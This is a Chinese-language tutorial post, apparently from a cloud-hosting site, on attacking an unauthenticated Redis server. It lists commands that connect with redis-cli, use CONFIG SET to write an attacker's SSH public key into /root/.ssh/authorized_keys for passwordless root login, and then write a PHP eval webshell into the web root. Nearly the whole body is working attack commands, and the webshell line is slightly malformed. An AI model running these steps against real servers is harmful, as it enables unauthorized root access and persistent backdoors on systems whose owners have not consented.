您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
通过使用nmap扫描,发现某一端口对应的服务为Redis,然后我们可以尝试看看是否是未授权访问!
首先使用下列命令安装Redis tools:
root@kali:~# apt-get install redis-tools
然后通过下列命令看是否是未授权访问:
root@kali:~# redis-cli -h 10.198.131.1 10.198.131.1:6379>
然后我们可以使用免密登录的方式进行相关***:
生成公钥:
root@lsy:~/.ssh# ssh-keygen -t rsa root@lsy:~/.ssh# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy root@lsy:~/.ssh#
将公钥写入远程服务器:
root@lsy:~/.ssh# redis-cli -h 10.198.131.1 10.198.131.1:6379> CONFIG SET dir /root/.ssh/ OK 10.198.131.1:6379> CONFIG SET dbfilename authorized_keys OK 10.198.131.1:6379> set xxxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy\n\n\n" OK 10.198.131.1:6379> save OK 10.198.131.1:6379> exit
使用ssh远程登录:
root@lsy:~/.ssh# ssh 10.198.131.1
免密登录成功:
上传webshell
#redis-cli -h 192.168.2.5 -p 6379 192.168.2.5:6379>config set dir /var/wwww/html 192.168.2.5:6379>config set dbfilename 1.php 192.168.2.5:6379>set webshell "<php @eval(@_POST['passwd'])>" 192.168.2.5:6379>save
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。